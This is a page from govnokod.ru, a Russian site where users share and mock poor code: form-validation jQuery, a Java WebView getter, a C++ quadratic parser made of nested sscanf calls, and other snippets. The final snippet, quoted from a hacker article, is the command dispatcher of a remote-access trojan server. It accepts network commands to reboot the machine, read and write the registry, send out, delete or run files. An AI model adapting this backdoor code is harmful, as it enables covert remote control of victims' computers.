- 1
--
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+144
--
--
+157
$('.send_message').click(function(e){
e.preventDefault();
var error = false;
var name = $('#contact_form_holder'+this.id).find('#name').val();
var email = $('#contact_form_holder'+this.id).find('#email').val();
var phone = $('#contact_form_holder'+this.id).find('#phone').val();
var subject = $('#contact_form_holder'+this.id).find('#subject').val();
var message = $('#contact_form_holder'+this.id).find('#message').val();
if(name.length == 0){
var error = true;
$('#contact_form_holder'+this.id).find(".name_field").addClass('error1');
}else{
$('#contact_form_holder'+this.id).find(".name_field").addClass('success');
}
if(email.length == 0 || email.indexOf('@') == '-1'){
var error = true;
$('#contact_form_holder'+this.id).find(".email_field").addClass('error1');
}else{
$('#contact_form_holder'+this.id).find(".email_field").addClass('success');
}
if(phone.length == 0){
var error = true;
$('#contact_form_holder'+this.id).find(".phone_field").addClass('error1');
}else{
$('#contact_form_holder'+this.id).find(".phone_field").addClass('success');
}
if(subject.length == 0){
var error = true;
$('#contact_form_holder'+this.id).find(".subject_field").addClass('error1');
}else{
$('#contact_form_holder'+this.id).find(".subject_field").addClass('success');
}
if(message.length == 0){
var error = true;
$('#contact_form_holder'+this.id).find(".message_field").addClass('error1');
}else{
$('#contact_form_holder'+this.id).find(".message_field").addClass('success');
}
if(error == false){
$('#contact_form_holder'+this.id).find('.send_message').attr({'disabled' : 'true', 'value' : 'Sending...' });
$formVar = this.id;
$.post('send_email.php', $('#contact_form_holder'+$formVar).find('#contact_form').serialize(),function(result){
if(result == 'sent'){
$('#contact_form_holder'+$formVar).find(".cf_submit_p").remove();
$('#contact_form_holder'+$formVar).find('#mail_success').fadeIn(500);
}else{
$('#contact_form_holder'+$formVar).find('#mail_fail').fadeIn(500);
$('#contact_form_holder'+$formVar).find('.send_message').removeAttr('disabled').attr('value', 'Send The Message');
}
});
if(error == false){
$('#send_message').attr({'disabled' : 'true', 'value' : 'Sending...' });
$.post("send_email.php", $("#contact_form").serialize(),function(result){
if(result == 'sent'){
$('#cf_submit_p').remove();
$('#mail_success').fadeIn(500);
}else{
$('#mail_fail').fadeIn(500);
$('#send_message').removeAttr('disabled').attr('value', 'Send The Message');
}
});
}
}
});
});
Форма обратной связи, сайт веб-студии:
http://medialine.by/job/js/script.js
+68
public String getCurrentUrl() {
if (webview == null) {
throw new SelendroidException("No open web view.");
}
long end = System.currentTimeMillis() + UI_TIMEOUT;
final String[] url = new String[1];
done = false;
Runnable r = new Runnable() {
public void run() {
url[0] = webview.getUrl();
synchronized (this) {
this.notify();
}
}
};
runSynchronously(r, UI_TIMEOUT);
return url[0];
}
final String[] url = new String[1];
url[0] = webview.getUrl();
return url[0];
Вы чо? Серьёзно?
+137
void getCoeffFromString()
{
if (sscanf(input.c_str(),"%i*x^2%i*x%i=%i",&a ,&b ,&c,&d)==4) {} //ax^2+bx+c=d
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i*x^2%i%i*x=%l",&a ,&c ,&b,&d)==4) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i*x%i%i*x^2=%i",&b ,&c ,&a,&d)==4) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i*x%i*x^2%i=%i",&b ,&a ,&c,&d)==4) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i%i*x^2%i*x=%i",&c ,&a ,&b,&d)==4) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i%i*x%i*x^2=%i",&c ,&b ,&a,&d)==4) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i=%i*x^2%i*x%i",&d ,&a ,&b,&c)==4) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i=%i*x%i*x^2%i",&d ,&b ,&a,&c)==4) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i=%i%i*x^2%i*x",&d ,&c ,&a,&b)==4) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i=%i%i*x%i*x^2",&d ,&c ,&b,&a)==4) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i=%i*x^2%i%i*x",&d ,&a ,&c,&b)==4) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i=%i*x%i%i*x^2",&d ,&b ,&c,&a)==4) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i*x^2%i*x=%i",&a ,&b ,&c)==3) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i*x%i*x^2=%i",&b ,&a ,&c)==3) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i*x=%i%i*x^2",&b ,&c ,&a)==3) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i*x=%i*x^2%i",&b ,&a ,&c)==3) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i*x^2=%i%i*x",&a ,&c ,&b)==3) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i*x^2=%i*x%i",&a ,&b ,&c)==3) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i=%i*x%i*x^2",&c ,&b ,&a)==3) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i=%i*x^2%i*x",&c ,&a ,&b)==3) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i*x^2=%i",&a ,&c)==2) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i*x^2=%i*x",&a ,&b)==2) {}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i*x=%i",&b ,&c)==2) {cout<<a<<"vda"<<b<<"v"<<c<<"v"<<d;}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i*x=%i*x^2",&b ,&a)==2) {cout<<a<<"vda"<<b<<"v"<<c<<"v"<<d;}
else
{
a,b,c,d=0;
if (sscanf(input.c_str(),"%i=%i*x",&c ,&b)==2) {}
else
Как я парсил квадратное уравнение. "У меня 27 сканэфов и ни один не работает"
+11
for (_i = 1;_i <= int(strlen(Query10->FieldValue("pattern").c_str()));_i++) {
// ...
}
if (strlen(Query10->FieldValue("pattern_before").c_str()) == strlen(Query10->FieldValue("pattern_short").c_str())) {
// ...
}
Nuff said.
+147
// Мне опять кажется, или скобки у !empty лишние?
$id = (!empty($id)) ? $id : (int)$this->getState('message.id');
http://ru2.php.net/manual/ru/language.operators.precedence.php
+135
internal enum IsScanned
{
Create = 0,
Scan = 1,
Complete = 2,
Error = 3,
NoAccess = 4,
}
...
public int IsScanned { get; set; }
...
if (details.IsScanned != (int)IsScanned.Create)
+9
#define FindElem( L ) _FindElem( [=] (VEC4 iter) -> bool { return (L); } )
На что только не пойдут люди, чтобы писать
VEC4* pv = vecs.FindElem( iter.x==1.0f );
+73
private void CopyFiles(String dirName) {
InputStream is = this.getClass().getResourceAsStream(
"/18.xslt");
OutputStream os;
try {
os = new FileOutputStream(dirName + "/18.xslt");
byte[] buffer = new byte[4096];
int length;
while ((length = is.read(buffer)) > 0) {
os.write(buffer, 0, length);
}
os.close();
is.close();
is = this.getClass().getResourceAsStream(
"/13_02.tif");
os = new FileOutputStream(dirName + "/13_02.tif");
while ((length = is.read(buffer)) > 0) {
os.write(buffer, 0, length);
}
os.close();
is.close();
is = this.getClass().getResourceAsStream("/13_02.xslt");
os = new FileOutputStream(dirName + "/13_02.xslt");
while ((length = is.read(buffer)) > 0) {
os.write(buffer, 0, length);
}
os.close();
is.close();
is = this.getClass().getResourceAsStream(
"/13_02_t.tif");
os = new FileOutputStream(dirName + "/13_02_t.tif");
while ((length = is.read(buffer)) > 0) {
os.write(buffer, 0, length);
}
os.close();
is.close();
is = this.getClass().getResourceAsStream(
"/13_02_t.xslt");
os = new FileOutputStream(dirName + "/13_02_t.xslt");
while ((length = is.read(buffer)) > 0) {
os.write(buffer, 0, length);
}
os.close();
is.close();
} catch (FileNotFoundException e1) {
e1.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
+13
void __fastcall TForm1::FormCreate(TObject *Sender)
{
// ServSckt - наш компонент TServerSocket
ServSckt->Port = 4321;
ServSckt->Active = true;
}
void __fastcall TForm1::ServScktClientRead(TObject *Sender,
TCustomWinSocket *Socket)
{
RecCommand(Socket->ReceiveText()); // пишем для наглядности функцию обработки поступившей
// информации, которую передаем как параметр этой функции
}
//---------------------------------------------------------------------------
// собственно сама функция: Rec - сокращение от Recognize. Можно по-другому назвать =)
void TForm1::RecCommand (String received)
{
int cn;
TTrojanUtilites Utilz; // создаем объект наших утилит
Utilz.Sock=ServSckt; // необходимо для отсылки ответа клиенту, так как сокет у нас
// находится на форме, а TTrojanUtilites не имеет никакого отношения
// к форме. Просто передаем указатель на TServerSocket
String temp;
temp=received;
temp.Delete(2,temp.Length()); // получаем первый символ сообщения - номер команды
cn = StrToInt(temp); // преобразуем в число
received.Delete(1,1); // удаляем код команды - остаются одни параметры
switch (cn) { // в соответсвии с полученой командой
// запускаем соотвествующую утилиту
case 1 : Utilz.RestartMachine(); break; // перезагрузка
case 2 : Utilz.WriteRegistry(received); break; // запись в реестр
case 3 : Utilz.ReadRegistry(received); break; // чтение реестра
case 4 : Utilz.SendFile(received); break; // чтение файла
case 5 : Utilz.DeleteFile(received); break; // удаление файла
case 6 : Utilz.ExecuteFile(received); break; // запуск файла
case 7 : Utilz.OpenCloseCD; break; // открытие/закрытие CD-ROM
case 8 : Utilz.HideMouse(); break; // прячем курсор мыши
case 9 : Utilz.SwapMouseButtons(); break; // переключаем кнопки мыши
default:
SendMsgToClient("Неправильная команда!") ; // получена недопустимая команда
// информируем клиента об этом
}
}
NAT, NAT... Да что вы пристали со своим NAT?!
Отсюда - http://hackersoft.ru/library/articles/other/pishem_svoego_troyanchika_.html